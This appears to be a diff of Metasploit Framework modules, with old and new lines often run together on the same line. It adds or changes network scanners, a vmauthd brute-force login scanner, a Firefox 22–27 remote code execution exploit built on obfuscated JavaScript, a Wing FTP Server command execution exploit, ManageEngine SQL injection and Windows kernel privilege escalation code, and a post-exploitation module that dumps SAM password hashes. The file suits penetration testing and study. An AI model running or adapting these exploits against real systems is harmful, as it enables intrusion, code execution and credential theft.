report_service(:host => ip, :port => rport, :proto => 'tcp', :name => 'rsync')
report_note(
:host => ip,
:proto => 'tcp',
:port => rport,
:type => 'rsync_version',
:data => version.strip
)
# making sure we match the version of the server
sock.puts("#{version}")
# the listing command
sock.puts("\n")
listing = sock.get(20)
disconnect
return if listing.blank?
print_good("#{ip}:#{rport} - rsync listing found")
listing.gsub!('@RSYNCD: EXIT', '') # not interested in EXIT message
listing_sanitized = Rex::Text.to_hex_ascii(listing.strip)
vprint_status("#{ip}:#{rport} - #{version.rstrip} #{listing_sanitized}")
report_note(
:host => ip,
:proto => 'tcp',
:port => rport,
:type => 'rsync_listing',
:data => listing_sanitized
)
end
end

View File

@ -3,14 +3,13 @@
# Current source: https://github.com/rapid7/metasploit-framework # Current source: https://github.com/rapid7/metasploit-framework
## ##
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner include Msf::Auxiliary::UDPScanner
include Msf::Exploit::Remote::SIP
def initialize def initialize
super( super(
@ -22,139 +21,21 @@ class Metasploit3 < Msf::Auxiliary
register_options( register_options(
[ [
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), OptString.new('TO', [false, 'The destination username to probe at each host', 'nobody']),
OptString.new('TO', [ false, "The destination username to probe at each host", "nobody"]), Opt::RPORT(5060)
Opt::RPORT(5060),
Opt::CHOST,
Opt::CPORT(5060)
], self.class) ], self.class)
end end
def scanner_prescan(batch)
# Define our batch size print_status("Sending SIP UDP OPTIONS requests to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
def run_batch_size @res = {}
datastore['BATCHSIZE'].to_i
end end
# Operate on an entire batch of hosts at once def scan_host(ip)
def run_batch(batch) scanner_send(create_probe(ip, 'udp'), ip, datastore['RPORT'])
begin
udp_sock = nil
idx = 0
# Create an unbound UDP socket if no CHOST is specified, otherwise
# create a UDP socket bound to CHOST (in order to avail of pivoting)
udp_sock = Rex::Socket::Udp.create(
{
'LocalHost' => datastore['CHOST'] || nil,
'LocalPort' => datastore['CPORT'].to_i,
'Context' => {'Msf' => framework, 'MsfExploit' => self}
}
)
add_socket(udp_sock)
batch.each do |ip|
data = create_probe(ip)
begin
udp_sock.sendto(data, ip, datastore['RPORT'].to_i, 0)
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
nil
end end
if (idx % 10 == 0) def scanner_process(data, shost, _)
while (r = udp_sock.recvfrom(65535, 0.01) and r[1]) report_response(data, shost, 'udp')
parse_reply(r)
end end
end
idx += 1
end
while (r = udp_sock.recvfrom(65535, 3) and r[1])
parse_reply(r)
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
ensure
udp_sock.close if udp_sock
end
end
#
# The response parsers
#
def parse_reply(pkt)
return if not pkt[1]
if(pkt[1] =~ /^::ffff:/)
pkt[1] = pkt[1].sub(/^::ffff:/, '')
end
resp = pkt[0].split(/\s+/)[1]
agent = ''
verbs = ''
serv = ''
prox = ''
if(pkt[0] =~ /^User-Agent:\s*(.*)$/i)
agent = "agent='#{$1.strip}' "
end
if(pkt[0] =~ /^Allow:\s+(.*)$/i)
verbs = "verbs='#{$1.strip}' "
end
if(pkt[0] =~ /^Server:\s+(.*)$/)
serv = "server='#{$1.strip}' "
end
if(pkt[0] =~ /^Proxy-Require:\s+(.*)$/)
serv = "proxy-required='#{$1.strip}' "
end
print_status("#{pkt[1]} #{resp} #{agent}#{serv}#{prox}#{verbs}")
report_service(
:host => pkt[1],
:port => pkt[2],
:proto => 'udp',
:name => 'sip'
)
if(not agent.empty?)
report_note(
:host => pkt[1],
:type => 'sip_useragent',
:data => agent
)
end
end
def create_probe(ip)
suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
shost = Rex::Socket.source_address(ip)
src = "#{shost}:#{datastore['CPORT']}"
data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n"
data << "Via: SIP/2.0/UDP #{src};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n"
data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n"
data << "To: sip:#{datastore['TO']}@#{ip}\r\n"
data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n"
data << "CSeq: 1 OPTIONS\r\n"
data << "Contact: sip:#{suser}@#{src}\r\n"
data << "Content-Length: 0\r\n"
data << "Max-Forwards: 20\r\n"
data << "User-Agent: #{suser}\r\n"
data << "Accept: text/plain\r\n"
end
end end

View File

@ -6,10 +6,10 @@
require 'msf/core' require 'msf/core'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::SIP
def initialize def initialize
super( super(
@ -21,94 +21,22 @@ class Metasploit3 < Msf::Auxiliary
register_options( register_options(
[ [
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), OptString.new('TO', [false, 'The destination username to probe at each host', 'nobody']),
OptString.new('TO', [ false, "The destination username to probe at each host", "nobody"]),
Opt::RPORT(5060) Opt::RPORT(5060)
], self.class) ], self.class)
end end
# Operate on a single system at a time # Operate on a single system at a time
def run_host(ip) def run_host(ip)
begin begin
idx = 0
connect connect
sock.put(create_probe(ip)) sock.put(create_probe(ip, 'tcp'))
res = sock.get_once(-1, 5) res = sock.get_once(-1, 5)
parse_reply(res) if res report_response(res, rhost, 'tcp') if res
rescue ::Interrupt rescue ::Interrupt
raise $! raise $ERROR_INFO
ensure ensure
disconnect disconnect
end end
end end
#
# The response parser
#
def parse_reply(resp)
rcode = resp.split(/\s+/)[0]
agent = ''
verbs = ''
serv = ''
prox = ''
if(resp =~ /^User-Agent:\s*(.*)$/i)
agent = "agent='#{$1.strip}' "
end
if(resp =~ /^Allow:\s+(.*)$/i)
verbs = "verbs='#{$1.strip}' "
end
if(resp =~ /^Server:\s+(.*)$/)
serv = "server='#{$1.strip}' "
end
if(resp =~ /^Proxy-Require:\s+(.*)$/)
serv = "proxy-required='#{$1.strip}' "
end
print_status("#{rhost} #{rcode} #{agent}#{serv}#{prox}#{verbs}")
report_service(
:host => rhost,
:port => rport,
:proto => 'tcp',
:name => 'sip'
)
if(not agent.empty?)
report_note(
:host => rhost,
:type => 'sip_useragent',
:data => agent
)
end
end
def create_probe(ip)
suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
shost = Rex::Socket.source_address(ip)
src = "#{shost}:#{datastore['RPORT']}"
data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n"
data << "Via: SIP/2.0/TCP #{src};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n"
data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n"
data << "To: sip:#{datastore['TO']}@#{ip}\r\n"
data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n"
data << "CSeq: 1 OPTIONS\r\n"
data << "Contact: sip:#{suser}@#{src}\r\n"
data << "Max-Forwards: 20\r\n"
data << "User-Agent: #{suser}\r\n"
data << "Accept: text/plain\r\n"
data << "Content-Length: 0\r\n"
data << "\r\n"
data
end
end end

View File

@ -79,9 +79,9 @@ class Metasploit3 < Msf::Auxiliary
super( super(
'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner', 'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner',
'Description' => %q{ 'Description' => %q{
This module checks for the OpenSSL ChageCipherSpec (CCS) This module checks for the OpenSSL ChangeCipherSpec (CCS)
Injection vulnerability. The problem exists in the handling of early Injection vulnerability. The problem exists in the handling of early
CCS messages during session negotation. Vulnerable installations of OpenSSL accepts CCS messages during session negotiation. Vulnerable installations of OpenSSL accepts
them, while later implementations do not. If successful, an attacker can leverage this them, while later implementations do not. If successful, an attacker can leverage this
vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec
between a client and server. This issue was first reported in early June, 2014. between a client and server. This issue was first reported in early June, 2014.
@ -131,7 +131,7 @@ class Metasploit3 < Msf::Auxiliary
sock.put(ccs) sock.put(ccs)
alert = sock.get_once(-1, response_timeout) alert = sock.get_once(-1, response_timeout)
if alert.blank? if alert.blank?
print_good("#{peer} - No alert after invalid CSS message, probably vulnerable") print_good("#{peer} - No alert after invalid CCS message, probably vulnerable")
report report
elsif alert.unpack("C").first == ALERT_RECORD_TYPE elsif alert.unpack("C").first == ALERT_RECORD_TYPE
vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable") vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable")

View File

@ -0,0 +1,88 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::UDPScanner
include Msf::Auxiliary::DRDoS
def initialize
super(
'Name' => 'SSDP ssdp:all M-SEARCH Amplification Scanner',
'Description' => 'Discover SSDP amplification possibilities',
'Author' => ['xistence <xistence[at]0x90.nl>'], # Original scanner module
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-017A']
],
)
register_options([
Opt::RPORT(1900),
OptBool.new('SHORT', [ false, "Does a shorter request, for a higher amplifier, not compatible with all devices", false])
], self.class)
end
def setup
super
# SSDP packet containing the "ST:ssdp:all" search query
if datastore['short']
# Short packet doesn't contain Host, MX and last \r\n
@msearch_probe = "M-SEARCH * HTTP/1.1\r\nST: ssdp:all\r\nMan: \"ssdp:discover\"\r\n"
else
@msearch_probe = "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255.250:1900\r\nST: ssdp:all\r\nMan: \"ssdp:discover\"\r\nMX: 1\r\n\r\n"
end
end
def scanner_prescan(batch)
print_status("Sending SSDP ssdp:all M-SEARCH probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
@results = {}
end
def scan_host(ip)
scanner_send(@msearch_probe, ip, datastore['RPORT'])
end
def scanner_process(data, shost, sport)
if data =~ /HTTP\/\d\.\d 200/
@results[shost] ||= []
@results[shost] << data
else
vprint_error("Skipping #{data.size}-byte non-SSDP response from #{shost}:#{sport}")
end
end
# Called after the scan block
def scanner_postscan(batch)
@results.keys.each do |k|
response_map = { @msearch_probe => @results[k] }
report_service(
host: k,
proto: 'udp',
port: datastore['RPORT'],
name: 'ssdp'
)
peer = "#{k}:#{datastore['RPORT']}"
vulnerable, proof = prove_amplification(response_map)
what = 'SSDP ssdp:all M-SEARCH amplification'
if vulnerable
print_good("#{peer} - Vulnerable to #{what}: #{proof}")
report_vuln(
host: k,
port: datastore['RPORT'],
proto: 'udp',
name: what,
refs: self.references
)
else
vprint_status("#{peer} - Not vulnerable to #{what}: #{proof}")
end
end
end
end

View File

@ -4,6 +4,8 @@
## ##
require 'msf/core/exploit/tcp' require 'msf/core/exploit/tcp'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/vmauthd'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
@ -33,103 +35,67 @@ class Metasploit3 < Msf::Auxiliary
end end
def run_host(ip) def run_host(ip)
print_brute :ip => ip, :msg => 'Starting bruteforce'
# Peform a sanity check to ensure that our target is vmauthd before
# attempting to brute force it.
begin begin
connect rescue nil connect rescue nil
if not self.sock if !self.sock
print_error "#{rhost}:#{rport} Could not connect to vmauthd" print_brute :level => :verror, :ip => ip, :msg => 'Could not connect'
return return
end end
banner = sock.get_once(-1, 10) banner = sock.get_once(-1, 10)
if not banner if !banner || !banner =~ /^220 VMware Authentication Daemon Version.*/
print_error "#{rhost}:#{rport} No banner received from vmauthd" print_brute :level => :verror, :ip => ip, :msg => 'Target does not appear to be a vmauthd service'
return return
end end
banner = banner.strip
print_status "#{rhost}:#{rport} Banner: #{banner}"
unless banner =~ /VMware Authentication Daemon/
print_error "#{rhost}:#{rport} This does not appear to be a vmauthd service"
return
end
if banner =~ /SSL/
print_status("#{rhost}:#{rport} Switching to SSL connection...")
swap_sock_plain_to_ssl
end
each_user_pass do |user, pass|
result = do_login(user, pass)
case result
when :failed
print_error("#{rhost}:#{rport} vmauthd login FAILED - #{user}:#{pass}")
when :success
print_good("#{rhost}:#{rport} vmauthd login SUCCESS - #{user}:#{pass}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'vmauthd',
:user => user,
:pass => pass,
:source_type => "user_supplied",
:active => true
)
return if datastore['STOP_ON_SUCCESS']
else
print_error("#{rhost}:#{rport} Error: #{result}")
end
end
rescue ::Interrupt rescue ::Interrupt
raise $! raise $ERROR_INFO
ensure ensure
disconnect disconnect
end end
end cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
scanner = Metasploit::Framework::LoginScanner::VMAUTHD.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
connection_timeout: 30
)
def do_login(user, pass, nsock=self.sock) scanner.scan! do |result|
nsock.put("USER #{user}\r\n") credential_data = result.to_h
res = nsock.get_once credential_data.merge!(
unless res.start_with? "331" module_fullname: self.fullname,
ret_msg = "Unexpected reply to the USER command: #{res}" workspace_id: myworkspace_id
return ret_msg )
end case result.status
nsock.put("PASS #{pass}\r\n") when Metasploit::Model::Login::Status::SUCCESSFUL
res = nsock.get_once || '' print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
if res.start_with? "530" credential_core = create_credential(credential_data)
return :failed credential_data[:core] = credential_core
elsif res.start_with? "230" create_credential_login(credential_data)
return :success :next_user
else when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
ret_msg = "Unexpected reply to the PASS command: #{res}" print_brute :level => :verror, :ip => ip, :msg => 'Could not connect'
return ret_msg invalidate_login(credential_data)
:abort
when Metasploit::Model::Login::Status::INCORRECT
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}"
invalidate_login(credential_data)
end end
end end
def swap_sock_plain_to_ssl(nsock=self.sock)
ctx = generate_ssl_context()
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
ssl.connect
nsock.extend(Rex::Socket::SslTcp)
nsock.sslsock = ssl
nsock.sslctx = ctx
end end
def generate_ssl_context
ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
@@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){ }
ctx.key = @@cached_rsa_key
ctx.session_id_context = Rex::Text.rand_text(16)
return ctx
end
end end

View File

@ -37,8 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
], ],
'DisclosureDate' => "May 14 2013", 'DisclosureDate' => "May 14 2013",
'References' => [ 'References' => [
['CVE', '2013-1670'], # privileged access for content-level constructor ['CVE', '2013-1710'] # chrome injection
['CVE', '2013-1710'] # further chrome injection
], ],
'Targets' => [ 'Targets' => [
[ [

View File

@ -0,0 +1,151 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/exploitation/jsobfu'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
autopwn_info({
:ua_name => HttpClients::FF,
:ua_maxver => "22.0",
:ua_maxver => "27.0",
:javascript => true,
:rank => ExcellentRanking
})
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox WebIDL Privileged Javascript Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 22-27 by abusing two
separate privilege escalation vulnerabilities in Firefox's Javascript
APIs.
},
'License' => MSF_LICENSE,
'Author' => [
'Marius Mlynski', # discovery and pwn2own exploit
'joev' # metasploit module
],
'DisclosureDate' => "Mar 17 2014",
'References' => [
['CVE', '2014-1510'], # open chrome:// url in iframe
['CVE', '2014-1511'] # bypass popup blocker to load bare ChromeWindow
],
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(22, 27) }
}
))
register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ])
], self.class)
end
def on_request_exploit(cli, request, target_info)
send_response_html(cli, generate_html(target_info))
end
def generate_html(target_info)
key = Rex::Text.rand_text_alpha(5 + rand(12))
frame = Rex::Text.rand_text_alpha(5 + rand(12))
r = Rex::Text.rand_text_alpha(5 + rand(12))
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
data_uri = "data:text/html,<script>c = new mozRTCPeerConnection;c.createOffer(function()"+
"{},function(){top.vvv=window.open('chrome://browser/content/browser.xul', "+
"'#{r}', 'chrome,top=-9999px,left=-9999px,height=100px,width=100px');})<\/script>"
js = Rex::Exploitation::JSObfu.new(%Q|
var opts = #{JSON.unparse(opts)};
var key = opts['#{key}'];
// Load the chrome-privileged browser XUL script into an iframe
var c = new mozRTCPeerConnection;
c.createOffer(function(){},function(){
window.open('chrome://browser/content/browser.xul', '#{frame}');
step1();
});
// Inject a data: URI into an internal frame inside of the browser
// XUL script to pop open a new window with the chrome flag to prevent
// the new window from being wrapped with browser XUL;
function step1() {
var clear = setInterval(function(){
// throws until frames[0].frames[2] is available (when chrome:// iframe loads)
frames[0].frames[2].location;
// we base64 this to avoid the script tag screwing up things when obfuscated
frames[0].frames[2].location=window.atob('#{Rex::Text.encode_base64(data_uri)}');
clearInterval(clear);
setTimeout(step2, 100);
},10);
}
// Step 2: load the chrome-level window up with a data URI, which
// gives us same-origin. Make sure to load an "<iframe mozBrowser>"
// into the frame, since that will respond to our messageManager
// (this is important later)
function step2() {
var clear = setInterval(function(){
top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+
'src="about:blank"></iframe></body></html>';
clearInterval(clear);
setTimeout(step3, 100);
}, 10);
}
function step3() {
var clear = setInterval(function(){
if (!frames[0]) return; // will throw until the frame is accessible
top.vvv.messageManager.loadFrameScript('data:,'+key, false);
clearInterval(clear);
setTimeout(function(){top.vvv.close();}, 100);
}, 10);
}
|)
js.obfuscate
%Q|
<!doctype html>
<html>
<body>
<iframe id='#{frame}' name='#{frame}'
style='position:absolute;left:-9999999px;height:1px;width:1px;'>
</iframe>
<script>
#{js}
</script>
#{datastore['CONTENT']}
</body>
</html>
|
end
end

View File

@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info={}) def initialize(info={})
super(update_info(info, super(update_info(info,
'Name' => "ManageEngine Password Manager MetadataServlet.dat SQL Injection", 'Name' => "ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection",
'Description' => %q{ 'Description' => %q{
This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet, This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,
which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and
@ -216,7 +216,7 @@ class Metasploit3 < Msf::Exploit::Remote
paths = desktop_central_db_paths paths = desktop_central_db_paths
if paths.empty? if paths.empty?
paths = check_password_manager_pro paths = password_manager_paths
end end
paths paths

View File

@ -156,7 +156,7 @@ class Metasploit3 < Msf::Exploit::Remote
p << payload.encoded p << payload.encoded
block = p block = p
block << rand_text_alpha(1024 - 80 - p.length) block << rand_text_alpha(1024 - 80 - p.length)
block << [ 0x77c34fbf, 0x200f0704 ].pack("V") # pop esp # ret # from msvcrt block << [ 0x77c34fbf, 0x200f0704 ].pack("V*") # pop esp # ret # from msvcrt
block << rand_text_alpha(1024 - block.length) block << rand_text_alpha(1024 - block.length)
buf = '' buf = ''

View File

@ -0,0 +1,123 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Wing FTP Server Authenticated Command Execution',
'Description' => %q{
This module exploits the embedded Lua interpreter in the admin web interface for
versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
an attacker can use os.execute() to execute arbitrary system commands on
the target with SYSTEM privileges.
},
'Author' =>
[
'Nicholas Nam <nick[at]executionflow.org>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.wftpserver.com' ]
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
[ 'Windows VBS Stager', {} ]
],
'Privileged' => true,
'DisclosureDate' => 'Jun 19 2014',
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(5466),
OptString.new('USERNAME', [true, 'Admin username', '']),
OptString.new('PASSWORD', [true, 'Admin password', ''])
], self.class
)
deregister_options('CMDSTAGER::FLAVOR')
end
def check
res = send_request_cgi(
{
'uri' => '/admin_login.html',
'method' => 'GET'
})
if !res
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
elsif res.code != 200
fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.")
elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
username = datastore['USERNAME']
password = datastore['PASSWORD']
@session_cookie = authenticate(username, password)
print_status("#{peer} - Sending payload")
# Execute the cmdstager, max length of the commands is ~1500
execute_cmdstager(flavor: :vbs, linemax: 1500)
end
def execute_command(cmd, _opts = {})
command = "os.execute('cmd /c #{cmd}')"
res = send_request_cgi(
'uri' => '/admin_lua_script.html',
'method' => 'POST',
'cookie' => @session_cookie,
'vars_post' => { 'command' => command }
)
if res && res.code != 200
fail_with(Failure::Unkown, "#{peer} - Something went wrong.")
end
end
def authenticate(username, password)
print_status("#{peer} - Authenticating")
res = send_request_cgi(
'uri' => '/admin_loginok.html',
'method' => 'POST',
'vars_post' => {
'username' => username,
'password' => password,
'username_val' => username,
'password_val' => password,
'submit_btn' => '+Login+'
}
)
uidadmin = ''
if !res
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/
res.get_cookies.split(';').each do |cookie|
cookie.split(',').each do |value|
uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/
end
end
else
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end
"UIDADMIN=#{uidadmin}"
end
end

View File

@ -51,9 +51,9 @@ class Metasploit3 < Msf::Exploit::Local
], ],
'References' => 'References' =>
[ [
%w(CVE 2014-4971), ['CVE', '2014-4971'],
%w(EDB 34112), ['EDB', '34112'],
%w(URL https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt) ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
], ],
'DisclosureDate' => 'Jul 22 2014', 'DisclosureDate' => 'Jul 22 2014',
'DefaultTarget' => 0 'DefaultTarget' => 0
@ -150,6 +150,7 @@ class Metasploit3 < Msf::Exploit::Local
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target) shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target)
this_proc.memory.write(0x1, shellcode) this_proc.memory.write(0x1, shellcode)
this_proc.close this_proc.close

View File

@ -38,31 +38,54 @@ class Metasploit3 < Msf::Post
session.core.use("incognito") if not session.incognito session.core.use("incognito") if not session.incognito
# It wasn't me mom! Stinko did it! # It wasn't me mom! Stinko did it!
begin
hashes = client.priv.sam_hashes hashes = client.priv.sam_hashes
rescue
print_error('Error accessing hashes, did you migrate to a process that matched the target\'s architecture?')
return
end
# Target infos for the db record # Target infos for the db record
addr = client.sock.peerhost addr = session.session_host
# client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive) # client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive)
# Record hashes to the running db instance # Record hashes to the running db instance
print_good "Collecting hashes..." print_good "Collecting hashes..."
hashes.each do |hash| hashes.each do |hash|
data = {} # Build service information
data[:host] = addr service_data = {
data[:port] = 445 address: addr,
data[:sname] = 'smb' port: 445,
data[:user] = hash.user_name service_name: 'smb',
data[:pass] = hash.lanman + ":" + hash.ntlm protocol: 'tcp',
data[:type] = "smb_hash" }
if not session.db_record.nil?
data[:source_id] = session.db_record.id
end
data[:source_type] = "exploit",
data[:active] = true
print_line " Extracted: #{data[:user]}:#{data[:pass]}" # Build credential information
report_auth_info(data) if db_ok credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :ntlm_hash,
private_data: hash.lanman + ":" + hash.ntlm,
username: hash.user_name,
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED,
workspace_id: myworkspace_id
}
login_data.merge!(service_data)
create_credential_login(login_data)
print_line " Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}"
end end
# Record user tokens # Record user tokens

10
script/cucumber Executable file
View File

@ -0,0 +1,10 @@
#!/usr/bin/env ruby
vendored_cucumber_bin = Dir["#{File.dirname(__FILE__)}/../vendor/{gems,plugins}/cucumber*/bin/cucumber"].first
if vendored_cucumber_bin
load File.expand_path(vendored_cucumber_bin)
else
require 'rubygems' unless ENV['NO_RUBYGEMS']
require 'cucumber'
load Cucumber::BINARY
end

View File

@ -44,14 +44,14 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
end end
context 'in thread with connection' do context 'in thread with connection' do
it { should be_true } it { should be_truthy }
end end
context 'in thread without connection' do context 'in thread without connection' do
it 'should be false' do it 'should be false' do
thread = Thread.new do thread = Thread.new do
Thread.current.should_not == main_thread Thread.current.should_not == main_thread
expect(active_connection?).to be_false expect(active_connection?).to be_falsey
end end
thread.join thread.join
@ -97,7 +97,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
end end
it 'should return true from #active_connection?' do it 'should return true from #active_connection?' do
expect(connection_pool.active_connection?).to be_true expect(connection_pool.active_connection?).to be_truthy
end end
context 'with error' do context 'with error' do
@ -129,7 +129,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
context 'without active thread connection' do context 'without active thread connection' do
it 'should return false from #active_connection?' do it 'should return false from #active_connection?' do
expect(connection_pool.active_connection?).to be_false expect(connection_pool.active_connection?).to be_falsey
end end
context 'with error' do context 'with error' do

View File

@ -69,11 +69,11 @@ describe FastLib do
end end
it 'should create an archive' do it 'should create an archive' do
File.exist?(@destination_path).should be_false File.exist?(@destination_path).should be_falsey
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
File.exist?(@destination_path).should be_true File.exist?(@destination_path).should be_truthy
end end
context 'cache' do context 'cache' do
@ -114,7 +114,7 @@ describe FastLib do
# make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be # make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be
# in the archive. # in the archive.
File.exist?(unarchived_path).should be_true File.exist?(unarchived_path).should be_truthy
cache[archived_path].should_not be_nil cache[archived_path].should_not be_nil
end end
end end
@ -127,25 +127,25 @@ describe FastLib do
end end
it 'should create an archive' do it 'should create an archive' do
File.exist?(@destination_path).should be_false File.exist?(@destination_path).should be_falsey
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
File.exist?(@destination_path).should be_true File.exist?(@destination_path).should be_truthy
end end
it 'should be smaller than the uncompressed archive' do it 'should be smaller than the uncompressed archive' do
uncompressed_path = "#{@destination_path}.uncompressed" uncompressed_path = "#{@destination_path}.uncompressed"
compressed_path = "#{@destination_path}.compressed" compressed_path = "#{@destination_path}.compressed"
File.exist?(uncompressed_path).should be_false File.exist?(uncompressed_path).should be_falsey
File.exist?(compressed_path).should be_false File.exist?(compressed_path).should be_falsey
described_class.dump(uncompressed_path, '', base_path, *unarchived_paths) described_class.dump(uncompressed_path, '', base_path, *unarchived_paths)
described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths) described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths)
File.exist?(uncompressed_path).should be_true File.exist?(uncompressed_path).should be_truthy
File.exist?(compressed_path).should be_true File.exist?(compressed_path).should be_truthy
File.size(compressed_path).should < File.size(uncompressed_path) File.size(compressed_path).should < File.size(uncompressed_path)
end end
